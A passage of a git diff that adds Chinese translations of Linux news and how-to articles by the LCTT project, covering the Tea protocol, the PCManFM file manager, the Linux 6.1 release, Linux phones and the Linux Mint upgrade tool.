+ +实施这一点还将涉及被称为“包支持者”和“赞助者”的实体。 + +这些人包括组织、软件包用户、慈善家和企业家,他们使用开源软件来构建商业产品,并希望支持这样一个生态系统。 + +他们还提到: + +> 为了提供最广泛的覆盖面,我们认为奖励不能依靠跟踪安装或卸载这样简单的概念,而是要依靠激励机制,鼓励提交高质量的软件包和报告邪恶或高风险的软件包。 + +到目前为止,Tea 只发布了他们所说的 “同类 CLI(命令行界面)工具应具备的基本功能”。 + +到目前为止,还没有提到这个新协议的具体发布日期,他们对这个协议发布的最佳估计是“2023 年的某个时候”。 + +他们补充说: + +> 就像等到 11 月才发布我们的 CLI一样,我们会在了解它应该如何最好地构建并在内部经历了试验和错误之后才发布。 +> +> 我们要慢慢来,确保这个工具本身对开发者非常有用和有价值。 + +### 它有什么帮助? + +**根据 Tea 公司的说法:** 这应该有助于他们为所有开源软件创建一个开放、公开和稳定的注册中心。 + +反过来,鼓励项目独立发布版本,而不是依赖第三方,因为第三方会不可预测地收集他们的数据,导致大量的分立和经常重复的系统。 + +以下是他们对该协议的目标的描述: + +> Tea 的目标是通过 Tea 通证的独特用例来实现去中心化的激励机制,让 Tea 社区的任何成员为开源的永久可持续性和持续增长作出贡献。 +> +> 包的支持者和赞助者可以根据他们的工作、信仰或任何影响他们决定的标准和尺度,自由决定他们要支持哪些包或包维护者。 + +**在我看来:** 这是一个令人兴奋的方法,可以奖励那些经常被忽视的开源贡献者,即使他们为各种开源项目贡献了很多。 + +然而,考虑到 NFT 在最近一段时间获得了很多批评。这可能会或可能不会有好的结果。 + +如果你想了解更多,你可以深入研究它的官方 [白皮书][5] 上的协议。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tea-open-source-new-protocol/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/cli-raise-funds-new-api-help-opensource-dev.png +[2]: https://tea.xyz +[3]: https://web3.foundation/about/ +[4]: https://techcrunch.com/2022/12/06/from-the-creator-of-homebrew-tea-raises-8-9m-to-build-a-protocol-that-helps-open-source-developers-get-paid/ +[5]: https://tea.xyz/tea.white-paper.pdf diff --git a/published/202212/20221211.0 ⭐️ Simplify your Linux PC with the PCManFM file manager.md b/published/202212/20221211.0 ⭐️ Simplify your Linux PC with the PCManFM file manager.md new file mode 100644 index 0000000000..1c0ce3b0b9 --- /dev/null +++ b/published/202212/20221211.0 ⭐️ Simplify your Linux PC with the PCManFM file manager.md @@ -0,0 +1,83 @@ +[#]: subject: "Simplify your Linux PC with the PCManFM file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-pcmanfm" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15378-1.html" + +使用 PCManFM 文件管理器让你的 Linux PC 轻装上阵 +====== + +![][0] + +> PCMan 文件管理器是一个让旧电脑感觉更有效率的好选择。 + +PCMan 文件管理器,或简称 PCManFM,是一个功能齐全的快速轻量级文件管理器。它是为 [LXDE][1] 桌面环境开发的,但它是一个独立的应用,可以与你选择的桌面或窗口管理器一起使用。 + +### 安装 PCManFM + +在 Linux 上,你可能可以在软件仓库中找到 PCManFM。例如,在 Fedora、Mageia 和类似软件上: + +``` +$ sudo dnf install pcmanfm +``` + +在 Debian、Elementary 和类似系统上: + +``` +$ sudo apt install pcmanfm +``` + +![Image of the PCMan file manager.][2] + +不必用 PCManFM 替换你的桌面文件管理器,但某些发行版认为当你安装“第三方”文件管理器时,你会希望它优先于默认的文件管理器。根据你使用的桌面,有不同的方法来设置默认文件管理器。通常,它位于 系统设置System Settings 下的 默认应用Default Applications 中。 + +如果你的桌面环境或窗口管理器没有选择默认应用的界面,你可以在 `~/.local/share/applications/mimeapps.list` 文件中设置你的首选项。要将一个文件管理器指定为默认的,请将其放在 `[Default Applications]` 部分的顶部,首先指定文件类型,然后指定你想用于打开的应用文件的名称(在 `/usr/share/applications` 下): + +``` +inode/directory=myfilemanager.desktop; +``` + +### PCManFM + +如果你是 GNOME 2 或 Mate 项目的 [Caja 文件管理器][3] 的粉丝,那么 PCManFM 是一个不错的选择。PCManFM 在设计上很像 Caja,但它不像 Caja 那样绑定到桌面,所以它甚至可以在最新的 GNOME 桌面上使用。 + +PCManFM 的默认布局在窗口顶部附近有一个有用的工具栏,一个提供对常用目录和驱动器的快速访问的侧面板,以及一个包含有关你当前选择的详细信息的状态栏。你可以使用 视图View 菜单隐藏或显示这些元素中的任何一个。 + +### 选项卡和面板 + +PCManFM 也使用选项卡。如果你以前从未使用过选项卡式文件管理器,那么想想 Web 浏览器以及它如何使用选项卡让你在一个窗口中打开多个网页。PCManFM 可以类似地在同一窗口中打开多个目录。 + +要将文件或文件夹从一个选项卡传输到另一个选项卡,只需将文件的图标拖动到选项卡并悬停即可。少许延迟后,PCManFM 将目标选项卡置于最前面,以便你可以继续进行拖放操作。如果你不习惯与文件管理器中的选项卡进行交互,则需要一些时间来适应,但这不会花很长时间,而且它是整理工作区的一项非常强大的功能。 + +PCManFM 界面的另一个不错的功能是它能够将一个窗口分成两个面板。每个面板实际上都是一个选项卡,但每个面板只占窗口的一半。 + +![Image of dual panels in PCMan.png][4] + +这使得从一个面板拖到另一个面板就像将文件拖到文件夹中一样简单自然。我发现它对于比较文件夹的内容也很有用。 + +### 使用 PCMan 进行文件管理 + +PCManFM 是一款很棒的小型文件管理器,具有你日常所需的所有基本功能。它是你可能会觉得过于复杂的文件管理器的自然替代品,也是 [老旧计算机][5] 上的一个很好的选择,这些电脑可能对不断绘制缩略图、刷新和生成动画的文件管理器举步维艰。PCMan 专注于文件管理器的核心任务:管理文件。在你的 Linux 电脑上试试吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-pcmanfm + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/lxqt-lxde-linux-desktop +[2]: https://opensource.com/sites/default/files/2022-10/pcmanfilemanager.png +[3]: https://opensource.com/article/22/12/linux-file-manager-caja +[4]: https://opensource.com/sites/default/files/2022-10/%E2%80%8BDual.panel_.in%20PCManFM.png +[5]: https://opensource.com/article/22/10/obsolete-computer-linux-opportunity +[0]: https://img.linux.net.cn/data/attachment/album/202212/24/161333mssnim76ssugskie.jpg \ No newline at end of file diff --git a/published/202212/20221212.0 ⭐️⭐️ Linux Kernel 6.1 Released With Initial Rust Code.md b/published/202212/20221212.0 ⭐️⭐️ Linux Kernel 6.1 Released With Initial Rust Code.md new file mode 100644 index 0000000000..d33491862c --- /dev/null +++ b/published/202212/20221212.0 ⭐️⭐️ Linux Kernel 6.1 Released With Initial Rust Code.md @@ -0,0 +1,146 @@ +[#]: subject: "Linux Kernel 6.1 Released With Initial Rust Code" +[#]: via: "https://news.itsfoss.com/linux-kernel-6-1-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15343-1.html" + +Linux 内核 6.1 发布,包含初始 Rust 支持 +====== + +> Linux 内核 6.1 现在可以使用了!考虑到这是今年最后一个稳定版本,它有可能是 LTS 版本。 + +![Linux 内核 6.1 发布,包含初始 Rust 支持][1] + +Linux 内核 6.1 终于来了,它以改进和支持新硬件的形式为我们提前带来了节日礼物。🎄 + +它是在 Linux 内核 6.0 发布的几个月后出现的,当时的命名方案从 5.x.x 改为 6.x,以减少小版本号太多带来的混乱。 + +像往常一样,今年的最后一个内核版本 **可能被作为一个长期发布的版本**,从而得到几年的支持。 + +Linux 内核 6.1 如约带来了许多改进,并初步支持了 AMD 和英特尔尚未发布的硬件。 + +在发布公告中,Linus Torvalds 提到: + +> 所以到现在,我们晚了一个星期,不过上周已经没那么紧迫了,而且很顺利,我对 6.1 的状态要比几个星期前感到放心多了,当时似乎还比较紧迫。当然,这意味着现在我们有一个可怕的合并窗口,就在节日假期之前,而且我也有一些节前的旅行要安排。因此,虽然推迟一周是正确的做法,但它确实使 6.2 合并窗口的时间变得很尴尬。 + +他进一步补充说,考虑到每个人都应该过一个平静的假日季,他将会更严格的对合并窗口的规则进行要求。 + +### 🆕 Linux 内核 6.1 有什么新内容? + +在这个版本中,我们看到了各种变化,例如改进了对 ARM SoC 的支持,初步支持英特尔即将推出的 Meteor Lake CPU,以及 AMD 的 RDNA 3 GPU。 + +你可以在其 [公告][2] 中找到更多技术细节。 + +#### 对 Rust 的实验性支持 + +![linux 6.1 rust][3] + +虽然我们预计这将发生在 Linux 内核 6.0,但它在 Linux 内核 6.1 中才出现,这将允许开发者用 Rust 编写内核代码。 + +#### 英特尔 Meteor Lake 的启用 + +![英特尔][4] + +英特尔的开源开发者一直在努力工作,为即将到来的 Meteor Lake 芯片提供初步支持。 + +它被称为英特尔的第一个 7 纳米微架构,开发人员已经向 DRM-next 推送了各种提交。 + +这些包括各种固件提交,对 Meteor Lake CPU 及其集成 GPU 的初步支持。 + +#### 对 AMD RDNA 3 图形的初始支持 + +![AMD][5] + +这段时间,AMD 一直在为 Linux 内核 6.1 添加 RDNA 3 图形架构的代码。 + +这包括对他们即将推出的 GPU 的支持和对他们之前的 GPU 产品的各种修复。 + +你可以通过 [这里][6] 查看完整的补丁列表。 + +#### 对 AMD 电脑的优化 + +![优化 AMD][7] + +AMD PMF(AMD 平台管理框架)已经被引入这个内核版本。 + +该驱动旨在为 AMD PC 更安静、更高效的运行提供支持。 + +它利用板载传感器与 AMD 的各种热能和功率内核驱动来实现这一目标。 + +#### 改进的 ARM SoC 支持 + +![arm soc][8] + +Linux 内核 6.1 带来了对 ARM SoC 的更多支持,例如: + +- 联发科 MT8186 +- 德州仪器 AM62A +- 恩智浦 i.MX8DXL +- 高通 IPQ8064 的各种变体 + +该内核还对一些智能手机提供了支持,如 PINE64 PinePhone Pro、索尼 Xperia 1 IV 和三星 Galaxy E5/E7/Grand Max。 + +#### 存储的改进 + +内核在存储方面有很多改进。 + +例如,Btrfs 在这次更新中带来了异步缓冲写入,提供了超过 2 倍的吞吐量。 + +然后是对 EXT4 的改进,包括性能优化和一些错误修复。 + +与此同时,[EROFS][9] 为 Linux 内核 6.1 引入了基于 FSCache 的共享域支持。 + +#### 🛠️ 其他改进措施 + +这些并不是 Linux 内核 6.1 提供的唯一改进,以下是其他一些值得注意的改进: + +- 对微软 Surface Pro 9 和 Surface Laptop 5 的支持。 +- 启用 AMD Zen 4 LbrExtV2。 +- AMD CPU “缓存到缓存”和内存报告功能。 +- 引入 AMD IOMMU v2。 +- 为 Wi-Fi 802.11be/Wi-Fi 7 做准备。 + +### 如何安装 Linux 内核 6.1? + +如果你使用基于 Arch 的发行版或 Fedora,你可以轻松升级。 + +不幸的是,如果你使用其他 Linux 发行版(Pop!_OS 和 Linux Lite 在某种程度上可以是个例外),你可能无法直接从发行版中获得升级。 + +然而,几乎所有的 Linux 发行版都明确地允许你安装最新的内核。这里有一个关于 Ubuntu 的指南👇 + +> **[如何在 Ubuntu 中安装最新的主线 Linux 内核版本](https://itsfoss.com/upgrade-linux-kernel-ubuntu/)** + +所以,如果你乐于冒险(并且知道自己在做什么),你可以在 [Linux 内核档案][10] 上找到列出的较新的内核。你可以下载 [tarball][11] 来测试它。 + +然而,像往常一样,如果你不想冒任何风险,我们建议等待你的 Linux 发行版推送更新。最好是坚持使用你的 Linux 发行版默认提供的东西。 + +> **[下载 Linux 6.1][12]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-kernel-6-1-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/linux-kernel-6-1-release.png +[2]: https://lore.kernel.org/lkml/CAHk-=wj_HcgFZNyZHTLJ7qC2613zphKDtLh6ndciwopZRfH0aQ@mail.gmail.com/T/#u +[3]: https://news.itsfoss.com/content/images/2022/12/linux-6-1-rust.png +[4]: https://news.itsfoss.com/content/images/2022/12/intel-meteor.png +[5]: https://news.itsfoss.com/content/images/2022/12/amd-rdna-3.png +[6]: https://lists.freedesktop.org/archives/dri-devel/2022-September/373430.html +[7]: https://news.itsfoss.com/content/images/2022/12/amd-rdna-3--1-.png +[8]: https://news.itsfoss.com/content/images/2022/12/amd-rdna-3--2-.png +[9]: https://en.wikipedia.org/wiki/EROFS +[10]: https://www.kernel.org/ +[11]: https://git.kernel.org/torvalds/t/linux-6.1.tar.gz +[12]: https://www.kernel.org diff --git a/published/202212/20221212.4 ⭐️⭐️ 5 Best Linux Phones to Watch Out for in 2023.md b/published/202212/20221212.4 ⭐️⭐️ 5 Best Linux Phones to Watch Out for in 2023.md new file mode 100644 index 0000000000..7673c4a30d --- /dev/null +++ b/published/202212/20221212.4 ⭐️⭐️ 5 Best Linux Phones to Watch Out for in 2023.md @@ -0,0 +1,229 @@ +[#]: subject: "5 Best Linux Phones to Watch Out for in 2023" +[#]: via: "https://www.debugpoint.com/best-linux-phones/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15371-1.html" + +2023 年值得期待的 5 款最佳 Linux 手机 +====== + +![][0] + +> 以下是一份可能在 2023 年成为主流的最佳 Linux 手机榜单,并介绍了各个 Linux 手机的特点和价格。 + +安卓和 iOS 智能手机是世界上最流行的手机。然而,还有许多人都想要更“开放”、且**在隐私方面做得更好的手机**。如果你使用安卓手机,那么你就是放弃了你的隐私。在个人隐私保护方面,苹果的 iOS 手机表现得要好一点,但它也仅提供了有限的隐私保护。 + +这就是现在 Linux 手机变得很流行的原因,因为它们为开发者和终端用户提供了许多选择。虽然目前有各种类型的 Linux 手机,但是要选择最好的 Linux 手机仍然令人困惑。从 2022 年的趋势来看,以下是一些可能在 2023 年成为主流的 Linux 手机。 + +### 关于 Linux 手机,你需要知道的事情 + +当你浏览或者计划购买一部 Linux 手机之前,你应该先了解以下关于 Linux 手机的事情: + +- Linux 手机使用的是主流 Linux 发行版的修改版,它有一个适合手机的桌面环境。这对今天的大多数手机(例如安卓、苹果 iOS)来说,也是类似的。 +- 如果你打算买一部 Linux 手机,并将其作为你日常所使用的手机的话,请不要太期待这个 Linux 手机。因为 Linux 手机的操作系统、功能和应用生态系统仍处于早期发展阶段,远远比不上与安卓或 iOS 手机。 +- 然而,Linux 手机的操作系统提供了最好的隐私功能,这会成为你想要出手买一部 Linux 手机的原因。 + +### 最好的 Linux 手机 + +#### 1、Librem🥇 + +**Purism** 公司是 Linux 手机市场上一个相当著名的品牌。Purism 公司推出的 **Librem 5 Linux** 智能手机支持 **PureOS**。PureOS 是一个专为 Linux 手机设计的操作系统,不基于安卓或 iOS 系统,它是一个原生设计的自由开源的操作系统;它还支持 融合 convergence ,这意味着你可以通过 USB 集线器将手机插入电脑显示器,并将其作为一个桌面操作系统使用🆒。 + +这款手机拥有优质的硬件和手感,还十分注重安全和隐私。但是,这款令人印象深刻的智能手机价格有点贵,售价为 1299 美元💔。 + +Librem 5 Linux 的主要特点和规格: + +- 完全的自由开源,基于 Linux 的移动操作系统:PureOS +- 拥有独立的调制解调器、Wi-Fi 和蓝牙芯片 +- 拥有 3 个专门的硬件键,来启用和禁用互联网、相机、Wi-Fi 和蓝牙 +- 拥有智能卡读卡器 +- 拥有 SD 卡读卡器 +- 电池可更换 + +![Librem 5][1] + +| 规格 | 描述 | +| :- | :- | +| **屏幕** | 5.7 英寸(IPS TFT 720×1440) | +| **内存** | 3 GB | +| **存储** | 32 GB eMMC | +| **电池容量** | 4500 mAh | +| **CPU** | NXP i.MX 8M QUAD CORE Cortex-A53(四核),64 位 ARM,最高主频为 1.5GHz | +| **GPU** | Vivante GC7000 Lite | +| **屏幕** | 5.7 英寸,IPS TFT,720×1440 像素 | +| **摄像头** | 带 LED 闪光灯的 1300 万像素(后置)摄像头和 800 万像素(前置)摄像头 | +| **USB 接口** | Type C 接口 | + +有点兴趣?你可以进一步浏览 [Librem 5 的购买官网][2]。 + +#### 2、Pinephone🥈 + +Linux 手机榜单的第 2 名是 **Pinephone**。Pinephone 也许是市场上最完善、最实用的 Linux 手机了。它由 **Pine64** 公司开发,具有出色的功能,并是支持多种 Linux ARM 的移动发行版。 + +此外,PinePhone 同时有很多个版本,其中包括专业版本。PinePhone 的价格比较便宜,并且十分注重用户的隐私和可扩展性,如果你是第一次使用 Linux 手机,PinePhone 将会是一个不错的选择😌。 + +Pinephone 的主要特点和规格: + +- 支持的操作系统有 KDE Plasma mobile、Manjaro mobile、Sailfish OS 和 Ubuntu touch。 +- 配备启用和禁用 LTE、摄像头、Wifi/BT 和麦克风的 5 个开关 +- 可启动的 microSD 和 16GB/32GB eMMC 的内存空间 +- Type C 接口(可用于电源、数据和视频输出) +- 拥有 6 个 Pogo 引脚,允许自定义硬件扩展,如热像仪、无线充电、NFC、扩展电池盒或键盘盒。 +- 拥有 3.5 毫米耳机插孔 +- 支持融合,可将其插到一台电脑上 +- 价格实惠,2 种型号的售价分别为 149 美元和 199 美元起 + +![Pinephone][3] + +| 规格 | 描述 | +| :- | :- | +| **屏幕** | 5.95 英寸,高清 IPS 电容式触摸屏 | +| **CPU** | Allwinner A64 ARM QUAD Core Cortex-A53(四核),64 位 | +| **GPU** | Mali-400 MP2 | +| **内存** | 2 种型号:2GB 和 3GB LPDDR3 SDRAM | +| **存储** | 2 种型号:16GB and 32GB eMMC | +| **摄像头** | 500 万像素、1/4英寸、LED 闪光灯(后置)摄像头和 200 万像素、1/5英寸(前置)摄像头 | +| **电池** | 锂离子电池(容量为 2800 mAh) | +| **音频插孔** | 3.5 毫米 | + +想要入手你的第一部 Linux 手机?请进一步浏览 [Pinephone 的购买官网][4] 吧。 + +#### 3、Pro 1 X – F(X)tec🥉 + +[**Pro 1 X** – F(X)tec][5] 是一款提供各种操作系统选择的智能手机,因此它是 Linux 手机榜单中十分令人激动的一项产品。 + +Pro 1 X **支持各种操作系统**,例如 LineageOS、安卓、Ubuntu Touch 等。此外,一个**内置的滑出式键盘**使它看起来更加独特且十分有吸引力。 + +Pro 1 X 由伦敦的 **F(x)tec** 公司开发。它是 Linux 手机市场上新出的产品,很有前景。然而,这个手机还没有上市,计划在 2022 年 12 月开始发货。因此,你可能需要等待几天,才能看到别人对这部手机的评价。 + +![Pro 1 X][6] + +Pro 1 X 的主要特点和规格: + +- 首款基于 Linux 的、有内置滑出式的 QUERTY 键盘的智能手机 +- 支持 Ubuntu touch 操作系统,并有安卓选项 +- 已解锁的启动程序 +- 拥有 3.5 毫米耳机插孔 +- 拥有 AMOLED 显示屏 +- 128 GB 存储/6 GB 内存:售价为 829 美元起 +- 256 GB 存储/8 GB 内存:售价为 899 美元起 + +| 规格 | 描述 | +| :- | :- | +| **CPU** | Snapdragon 662 Qualcomm | +| **GPU** | Adreno 610 Qualcomm | +| **内存** | 2 种型号:6GB 和 8GB LPDDR4 | +| **存储** | 128 GB(可扩展至 2 TB) | +| **屏幕** | 5.99英寸,弧形边缘,Corning® Gorilla® Glass 3(分辨率为 2160 x 1080 像素的 AMOLED 显示屏) | +| **摄像头** | 1200 万像素 Sony IMX363(后置)摄像头和800万像素(前置)摄像头 | +| **电池容量** | 3200 mAh | +| **音频插孔** | 3.5 毫米 | + +它的内置滑出式键盘是否吸引了你?去 [pro 1 x 的购买官网][5] 看看吧。 + +#### 4、Volla Phone + +[Volla Phone][7] 可以同时运行**两个操作系统:Ubuntu Touch 和 VollaOS**。 + +VollaOS 是一个安卓操作系统的修改版,没有谷歌专有的部分,同时也很注重用户的隐私;Ubuntu Touch 是一个流行的 Linux 手机发行版。 + +Volla Phone 的主要特点和规格: + +- 没有谷歌专有部分及其服务 +- 不依赖云计算 +- 加密的设备存储 +- 使用安卓操作系统的修改版:Volla OS +- 支持的操作系统有 Ubuntu Touch,Manjaro,Sailfish OS +- 拥有 USB C 充电口 +- 拥有 3.5 毫米耳机插孔 +- 可以用指纹解锁 +- 拥有离线地图 + +![Volla Phone][8] + +| 规格 | 描述 | +| :- | :- | +| **CPU** | MediaTek Helio P23 | +| **GPU** | ARM Mali-G71 MP2  | +| **内存** | 4 GB DDR3 RAM | +| **存储** | 64 GB,eMMC | +| **屏幕** | 6.3 英寸,IPS,2340×1080 像素 | +| **摄像头** | 1600万像素带闪光灯的(后置)摄像头和1600万像素(前置)摄像头 | +| **电池容量** | 4700 mAh | +| **USB 接口** | Type C 接口和 3.5 毫米音频插孔 | + +这个手机看起来也很不错呢,不妨到 [Volla 的购买官网][9] 看看吧。 + +#### 5、Fairphone 4 + +[Fairphone 4][10] 是另一款具有模块化硬件的 Linux 智能手机。它支持 PostmarketOS 操作系统,并使用安卓操作系统的修改版本:FairPhone OS。这个手机的主要卖点是它的 模块化 modularity ,你可以替换手机的任何模块:你可以毫不费力地更换它的电池🔋;此外,不仅仅是更换电池,你还可以简单地用螺丝刀来更换它的显示屏等部件。 + +![][14] + +Fairphone 4 的规格: + +| 规格 | 描述 | +| :- | :- | +| **CPU** | Octa-Core Kryo 570(八核) | +| **内存** | 2 种型号:6GB 和 8GB | +| **存储** | 2 种型号:128GB 和 256GB | +| **GPU** | Adreno 619 | +| **屏幕** | 6.3 英寸,全高清,IPS | +| **摄像头** | 2 个 4800 万像素(后置)摄像头和 2500 万像素(前置)摄像头 | +| **电池** | 锂离子电池(容量为 3905 mAh)| +| **芯片组** | Qualcomm SM7225 Snapdragon 750G | + +进一步可浏览 [FairPhone 的购买官网][11]。 + +#### 是否有支持 Linux 操作系统的主流安卓手机呢? + +如果你不想购买上述现成的 Linux 手机,那么你也可以在**安卓手机**上使用 Linux 移动操作系统,因为安卓是基于 Linux 内核上修改的。因此,这些手机应该也能使用 Ubuntu Touch 或 PostmarketOS 操作系统。 + +- Google Pixel 3a/3a XL +- Sony Xperia X (F5121 & F5122) +- Google Nexus 5 +- OnePlus One +- 支持 Ubuntu Touch OS 操作系统的 [完整列表][12] +- Xiaomi Redmi 2 +- Xiaomi Mi Note 2 +- OnePlus GT +- OnePlus 6 +- 支持 PostmarketOS 操作系统的 [完整列表][13] + +### 结语 + +以上就是关于如今市场上最好的 Linux 手机的全部内容了。你可以从这些手机的官方网站上了解更多信息。因为手机的隐私保护在当下变得越来越重要了,我相信在未来会有越来越多的人使用 Linux 手机。 + +诚然,Linux 手机本身的功能及其操作系统比不上安卓和苹果 iOS 手机。但是,对于 Linux 手机来说,更重要的是它的标准的设立、全球购买的可行性、在这一新兴市场的低入门价格以及对 Linux 手机应用生态系统的大力投资。在 Linux 手机的生态系统中需要更简化的界面,没有简单的界面,Linux 手机将变得更加零散,就像台式机一样。Linux 手机的制造商还需要和自由及开源软件(FOSS)参与者一起合作,最终才能使 Linux 手机广受欢迎。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-linux-phones/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/12/Librem-5-image2.jpg +[2]: https://puri.sm/products/librem-5/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/12/Pinephone.jpg +[4]: https://pine64.com/product-category/pinephone +[5]: https://www.fxtec.com/pro1x +[6]: https://www.debugpoint.com/wp-content/uploads/2022/12/Pro-1-X.jpg +[7]: https://volla.online/de/index.html +[8]: https://www.debugpoint.com/wp-content/uploads/2022/12/Volla-Phone.jpg +[9]: https://volla.online/de/shop/ +[10]: https://shop.fairphone.com/en/buy-fairphone-4 +[11]: https://shop.fairphone.com/ +[12]: https://devices.ubuntu-touch.io/ +[13]: https://wiki.postmarketos.org/wiki/Devices +[0]: https://img.linux.net.cn/data/attachment/album/202212/22/145904l88upudto8u7y3ui.jpg +[14]: https://img.linux.net.cn/data/attachment/album/202212/22/150220zuowaoguya3azajw.jpg \ No newline at end of file diff --git a/published/202212/20221213.3 ⭐️ Linux Mint Upgrade Tool Usage Guide.md b/published/202212/20221213.3 ⭐️ Linux Mint Upgrade Tool Usage Guide.md new file mode 100644 index 0000000000..23a4212934 --- /dev/null +++ b/published/202212/20221213.3 ⭐️ Linux Mint Upgrade Tool Usage Guide.md @@ -0,0 +1,109 @@ +[#]: subject: "Linux Mint Upgrade Tool: Usage Guide" +[#]: via: "https://www.debugpoint.com/mint-upgrade-tool/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15372-1.html" + +Linux Mint 升级工具使用指南 +====== + +![][0] + +> 以下是如何使用 Mint 升级工具升级到新的 Linux Mint 版本,即带有实际升级过程截图的 mintupgrade GUI。 + +如果你正在寻找最近发布的 **Linux Mint 21 Vanessa** 的**详细升级**步骤,请阅读本指南👉 + +> **[从 Linux Mint 20.3 升级到 21][1]** + +### Linux Mint 升级工具 + +Linux Mint 团队 [宣布][2] 在几个月前,他们构建了一个新的程序来升级 Linux Mint 的主要版本。它被称为 “mintupgrade2”。现在开发已经完成,目前正在支持和计划升级到主要版本,例如 Linux Mint 20 到 21,而不是小版本升级。 + +尽管你可以使用标准的 `apt` 命令升级版本,但 Mint 团队认为重大版本升级是棘手的。新用户很难进行无缝升级,因为它涉及终端和一系列复杂的命令步骤。 + +此外,该图形界面是一个封装器,为 `mintupgrade` 程序带来了更多功能,它带来了一组系统前检查和带有一键修复的升级过程。 + +此外,`mintupgrade` 会进行基本检查,比如你是否连接到电源、系统是否是最新的、磁盘空间可用性等。 + +为了向你展示它的外观和工作情况,我们安装了一台 LMDE 4 测试机测试。 + +但在此之前,看一下它的功能集: + +- 完全由 GUI 驱动的升级过程 +- 多语言支持 +- 升级前检查:系统备份、电源、磁盘空间、已删除包列表 +- 可配置 +- 提醒你有关先前版本中的孤儿包 +- 它为你提供了解决问题的选项 + +### 它如何运作 + +当我们通过命令 `mintupgrade` 运行 Mint 升级程序时,GUI 友好的欢迎屏幕为你提供了一个很好的起点并开始升级过程。然后,它开始自己进行一系列检查。 + +![开始升级过程][3] + +除此之外,当它在你的系统中发现问题时,它会停止并为你提供足够的详细信息。单击“修复Fix”后,它可以再次恢复该过程。 + +不止如此,如果由于网络或互联网或任何其他问题而中断,它可以恢复升级过程。 + +这个程序在我们的测试过程中在我们的测试系统中发现了以下错误,并且只需单击一下即可修复它们。 + +![Apt 缓存检查][4] + +![Mint Upgrade 检测到系统快照不存在][5] + +![检查孤立包][6] + +![升级前状态][7] + +![Mint Upgrade 可以检测需要降级的包][8] + +最后,我们成功地将测试系统从 LMDE 4 升级到 LMDE 5。 + +![升级完成][9] + +#### 如何获取此升级程序 + +使用以下命令可以轻松安装该程序。但是,如果你正在运行最新版本的 Linux Mint 21,它应该已经安装并尝试从终端运行 mintupgrade。 + +``` +sudo apt update +``` + +``` +sudo apt install mintupgrade +``` + +### 结束语 + +最后,我认为它是 Linux Mint 团队最好的程序之一。正如你在上面看到的,它自己处理了许多错误。我所做的只是单击“修复”按钮。该程序足够智能,可以了解所有故障点并采取补救措施。 + +> **[GitHub 上的 mintupgrade 源码][10]** + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/mint-upgrade-tool/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/upgrade-linux-mint-21-from-20-3/ +[2]: https://www.debugpoint.com/2022/04/linux-mint-21-announcement/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/04/Starting-the-upgrade-process.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/04/Apt-Cache-check.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-Upgrade-detects-that-system-snapshots-not-present.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/04/Check-for-Orphan-Packages.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/04/Status-before-upgrade.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/04/Mint-Upgrade-can-detect-the-packages-require-downgrade.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/04/Upgrade-Complete.jpg +[10]: https://github.com/linuxmint/mintupgrade +[0]: https://img.linux.net.cn/data/attachment/album/202212/22/152601upz4gujhajauj5rj.jpg \ No newline at 